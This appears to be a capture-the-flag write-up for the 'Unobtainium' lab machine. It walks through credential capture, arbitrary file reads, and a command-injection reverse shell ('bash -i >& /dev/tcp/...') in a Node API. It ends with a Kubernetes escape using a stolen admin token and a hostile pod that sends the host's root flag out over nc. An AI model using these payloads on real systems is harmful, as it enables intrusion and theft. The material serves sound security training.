Enumeration
PORT STATE SERVICE REASON
22/tcp open ssh syn-ack
80/tcp open http syn-ack
2379/tcp open etcd-client syn-ack
2380/tcp open etcd-server syn-ack
8443/tcp open https-alt syn-ack
10250/tcp open unknown syn-ack
10256/tcp open unknown syn-ack
31337/tcp open Elite syn-ack
Looking at port 80, there appears to be a download page, let’s take a look.
It’s not password protected so we can jsut unzip it. Inside is a .deb file, which we can use dpkg to install. Upon opening it, we can see an electron program.
NOTE: DO NOT RUN SOFTWARE OUTSIDE OF A VM. IT’S ENTIRELY POSSIBLE THAT SOMEONE HAS REPLACED THE ORIGINAL FILE.
We can post a message, read the todo list and view the message log. Inside the message log is the username felamos, we’ll make note of that. In the todo section, we can see JSON, talking about a security update:
{"ok":true,"content":"1. Create administrator zone.\n2. Update node JS API Server.\n3. Add Login functionality.\n4. Complete Get Messages feature.\n5. Complete ToDo feature.\n6. Implement Google Cloud Storage function: https://cloud.google.com/storage/docs/json_api/v1\n7. Improve security\n"}
The important take ways are “Update node JS API server” and “improve security”. I’ll assume there’s probably some exploit here.
Let’s take a look at the .deb file, we can extract it using: dpkg-deb -xv unobtainium_1.0.0_amd64.deb extract
Looking through, there isn’t a great deal there. Let’s monitor the program instead and see what it does. We can use wireshark to read the packets it sends.
If we use the post message feature, we can capture the credentials used to make the request:
Here we have felamos’ creds (honestly we could’ve just bruteforced that but oh well). Using the creds we get, we use curl to make a HTTP POST request to unobtain.htb:31337. You can use curl to do this and proxy it through port 8080 and capture is through burp or make a short script to do it. Here’s a small bash script:
Now that we have the request in burp, we can forward it ot the repeater and get the output.
We get an error (since we didn’t give a file). In the error message we can see index.js, let’s read it.
POST /todo HTTP/1.1
Host: unobtainium.htb:31337
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: */*
Content-Type: application/json
Content-Length: 73
Connection: close
{"auth":{"name":"felamos","password":"Winter2021"},"filename":"index.js"}
We get the file contents, it’s exactly easy to read but we can still look through it. There’s not a great deal but considering it definitely uses nodejs, might be able to get package.json. We get:
HTTP/1.1 200 OK
X-Powered-By: Express
Content-Type: application/json; charset=utf-8
Content-Length: 487
ETag: W/"1e7-nNVooCaQU8RTLCaxUyITOmGY9A8"
Date: Wed, 07 Jul 2021 15:41:18 GMT
Connection: close
{"ok":true,"content":"{\n \"name\": \"Unobtainium-Server\",\n \"version\": \"1.0.0\",\n \"description\": \"API Service for Electron client\",\n \"main\": \"index.js\",\n \"scripts\": {\n \"start\": \"node index.js\"\n },\n \"author\": \"felamos\",\n \"license\": \"ISC\",\n \"dependencies\": {\n \"body-parser\": \"1.18.3\",\n \"express\": \"4.16.4\",\n \"lodash\": \"4.17.4\",\n \"google-cloudstorage-commands\": \"0.0.1\"\n },\n \"devDependencies\": {}\n}\n"}
User own
Both Lodash and google-cloudstorage-commands have potential exploits
- https://snyk.io/vuln/SNYK-JS-GOOGLECLOUDSTORAGECOMMANDS-1050431 (RCE)
- https://snyk.io/test/npm/lodash/4.17.4 (Prototype pollution)
We’ll exploit the RCE vuln, we can try giving ourselves upload and delete permissions by modifying our request to look like this:
According to the linked page, we can use && to perform RCE. Let’s try it.
POST /upload HTTP/1.1
Host: unobtainium.htb:31337
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: */*
Content-Type: application/json
Content-Length: 151
Connection: close
{"auth":{"name":"felamos","password":"Winter2021"},"filename":"& echo $(echo 'bash -i >& /dev/tcp/<YOUR IP>/4444 0>&1' | base64) | base64 -d | bash"}
Root own
So we have a root user, but we’re inside a docker container. Let’s escape.
In the root directory we have .kube (for kubectl) and a cronjob to remove kubectl (and no kubectl). We can get it using
curl -LO "https://dl.k8s.io/release/$(curl -L -s https://dl.k8s.io/release/stable.txt)/bin/linux/amd64/kubectl"
and upload it using a python server. Once we’ve got it in the docker container, we can install it using:
install -o root -g root -m 0755 kubectl /usr/local/bin/kubectl
We’re able to enuemrate our current environment and premissions using kubectl’s can-i and get options. After getting a better understanding, we can see we’re able to query a dev container called “devnode”. We can forward this to our parrot machine using chisel
We’ll have to upload chisel to the docker using our python server and run it as a client (hence the reverse switch).
Now we’ll do the same as we did earlier for the web container, except this time we’ll be doing it for the devnode container. The request looks like this: You should get {"ok": true}
as a response.
We can then go back and do the same as we did previously, but again for the devnode container.
After getting the reverse shell, we can refuse kubectl to enumerate the new container. We have permissiosn to view secrets using describe. We need the c-admin-token, which we can get using:
We can then enumerate our permissions with the token. We can create pods, which may allow us to create bad pods
After looking at the bad pods yaml file I linked, we can create our own specifically for this box:
apiVersion: v1
kind: Pod
metadata:
name: some-pod
namespace: default
spec:
containers:
- name: web
image: localhost:5000/dev-alpine
command: ["/bin/sh"]
args: ["-c", 'cat /root/root.txt | nc -nv 10.10.14.166 4442; sleep 100000']
volumeMounts:
- mountPath: /root/
name: root-flag
volumes:
- hostPath:
path: /root/
type: ""
name: root-flag